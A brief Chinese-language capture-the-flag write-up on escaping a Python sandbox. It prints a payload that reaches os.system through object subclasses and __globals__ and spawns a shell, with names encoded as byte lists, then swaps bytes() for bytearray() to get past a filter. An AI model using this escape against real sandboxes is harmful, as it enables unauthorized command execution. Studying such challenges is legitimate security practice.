这道题没给附件，直接连上看看
这里一开始用().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())进行尝试，后面发现bytes函数被禁用了，可以用另外的函数代替().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytearray([115,121,115,116,101,109]).decode()](bytearray([115,104]).decode())
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